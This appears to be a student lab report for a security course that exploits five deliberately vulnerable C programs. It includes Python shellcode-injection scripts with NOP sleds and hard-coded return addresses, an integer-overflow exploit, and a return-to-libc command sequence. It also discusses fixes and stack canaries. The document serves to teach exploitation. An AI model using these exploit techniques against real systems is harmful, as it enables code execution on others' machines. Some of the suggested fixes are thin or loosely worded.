# Project 1

## 1. Vulnerable1.c

### 1.1. Briefly describe the behavior of the program.

This program copies the command line argument into *buf[100]* using the *strcpy()* function.

### 1.2. Identify and describe the vulnerability as well as its implications.

The program's vulnerability is the *strcpy(),* a memory-unsafe function, which copies strings into arrays but doesn't check memory sizes.

### 1.3. Discuss how your program or script exploits the vulnerability and describe the structure of your attack.

We overwrite the return address and point to the shellcode.

### 1.4. Provide your attack as a self-contained program written in Python.

```
from shellcode import shellcode

import struct

eip = struct.pack("@I",0xbfffed7c)

nop = "\x90"

print(nop *59 + shellcode + eip)
```

### 1.5. Suggest a fix for the vulnerability. How might you systematically eliminate vulnerabilities of this type?

We could use a function like *strncpy()*, where we can provide a certain number of characters to be copied, thus limiting the memory accessed.

## 2. Vulnerable2.c

### 2.1. Briefly describe the behavior of the program.

This program utilizes the *strncpy()* function to copy 8 bytes beyond the destination array capacity, causing a buffer overflow.

### 2.2 Identify and describe the vulnerability as well as its implications.

An incorrect number of bytes is provided as the third argument in the *strncpy*. The destination is 2048 bytes long, but *strncpy* copies *sizeof(buf)+8* = 2056 bytes, hence causing an overflow.

### 2.3. Discuss how your program or script exploits the vulnerability and describe the structure of your attack.

The incorrect *strncpy* causes an overflow allowing us to indirectly cause a memory overwrite to the pointer, which we make point to the EIP where we pass the address of the shellcode.

### 2.4. Provide your attack as a self-contained program written in Python.

```
from shellcode import shellcode

import struct

a_addr = struct.pack("@I",0xbfffde40)

p_addr = struct.pack("@I",0xbfffe64c)

nop="\x90"

print(nop*1995 + shellcode + a_addr + p_addr )
```

### 2.5. Suggest a fix for the vulnerability. How might you systematically eliminate vulnerabilities of this type?

Proper use of memory allocation in strncpy, considering the correct size of the destination.

## 3. Vulnerable3.c

### 3.1. Briefly describe the behavior of the program.

This program reads the contents of a file based on its size.

### 3.2. Identify and describe the vulnerability as well as its implications.

An int overflow will occur when *count* becomes bigger than 0x3fffffff. A small int overflow creates a small buffer and then the program becomes open to a buffer overflow, an the injection of code in memory.

### 3.3. Discuss how your program or script exploits the vulnerability and describe the structure of your attack.

We make the int overflow by making the file begin with 0x40000001. This will be the value in *count* and multiplied by 4. This creates a 5 byte buffer, and then it is overflown when the input file is put in memory.

The input file contains the shellcode and a return address back to the buffer, making the shellcode execute.

### *3.4.* Provide your attack as a self-contained program written in Python.

```
from shellcode import shellcode

import struct

count = struct.pack("@I",0x40000001)

eip = struct.pack("@I",0xbfffee34)

nop = "\x90"

print( count + nop*7 +shellcode+ eip)
```

### 3.5. Suggest a fix for the vulnerability. How might you systematically eliminate vulnerabilities of this type?

Boundary checks must be implemented, to avoid integer and buffer overflows.

## 4. Vulnerable4.c

### 4.1. Briefly describe the behavior of the program.

The program reads a command line argument into a file which is copied into the buffer.

### 4.2 Identify and describe the vulnerability as well as its implications.

The program is similar to vulnerable1, and has the same root issue: memory-unsafe *strcpy* causes a buffer overflow. The randomization allows the attacker to guess where to insert the NOP sled and return address to the injected code.

### 4.3 Discuss how your program or script exploits the vulnerability and describe the structure of your attack.

Calculating using the registers identified with GDB, we find the distance between esp for the buffer and esp for *_main*. Knowing the size of the buffer by reading the source code we can overflow and overwrite the return address. We guess a new return address somewhere after the range where *main* usually is and pass a NOP sled to overwrite *_main* and place shellcode after a sled larger than the randomization.

### 4.4 Provide your attack as a self-contained program written in Python.

```
from shellcode import shellcode

import struct

eip = struct.pack("@I", 0xbfffe824)

nop = "\x90"

print (nop * 1036 + eip + nop * 498 + shellcode)
```

### 4.5 Suggest a fix for the vulnerability. How might you systematically eliminate vulnerabilities of this type?

Larger randomization and random distance between the buffer and main.

## 5. Vulnerable5.c

### 5.1. Briefly describe the behavior of the program.

This program reads a file copying its contents into file_buffer and allows the user to read and write into the buffer using commands.

### 5.2. Identify and describe the vulnerability as well as its implications.

The attacker can write arbitrarily to memory, in places after the address of the buffer. One can overwrite the buffer return address and make a return-to-libc attack.

### 5.3 Discuss how your program or script exploits the vulnerability and describe the structure of your attack.

We do as described above to do a return-to-libc attack. We first put recognizable code (hex A) to help locate where we want to overwrite, then use the program to rewrite the buffer return address, found at an offset of 222 decimal from the beginning, and pointing it to the libc function *system()* (found through GDB by doing *p &system*), and then to the *exit()* libc function (to prevent segfault), and then to \bin\sh (found by running a small program).

### 5.4 Provide the input file and the list of commands for your attack.

The input file was generated via the sol5_input.py program:

```
f= open("sol5_input.txt","w+")

size = 256

f.write("A"*size)

f.close()
```

The program used to find the location of \bin\sh was:

```
#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

int main(int argc, char **argv)

{

 char *ptr = getenv("EGG");

 if (ptr != NULL)

 {

 printf("Estimated address: %p\n", ptr);

 return 0;

 }

 printf("Setting up environment...\n");

 setenv("EGG", "/bin/sh", 1);

 execl("/bin/sh", (char *)NULL);

}
```

The list of commands for the attack:

w,322,64
w,323,11
w,324,226
w,325,183
w,326,64
w,327,59
w,328,225
w,329,183

```
w,330,170
w,331,10
w,332,246
w,333,183

q
```

**5.5. Suggest a fix for the vulnerability. How might you systematically eliminate vulnerabilities of this type?**

Implement boundary check for writing, to avoid the ability to write beyond the file buffer.

**5.a.1. What is the value of the stack canary? How did you determine this value?**

The canary is random, changing when the program is run. Writing to a byte of the canary makes the program abort, and this was done by accident, finding the canary.

**5.a.2. Does the value [of the stack canary] change between executions? Does the value change after rebooting your virtual machine?**

Yes, the value changes for each execution.

**5.a.3. How does the stack canary contribute to the security of vulnerable4.c?**

At the end of every run the canary is checked and if altered the program aborts. This avoids memory smashing and requires attacks via overwriting particular locations in of memory.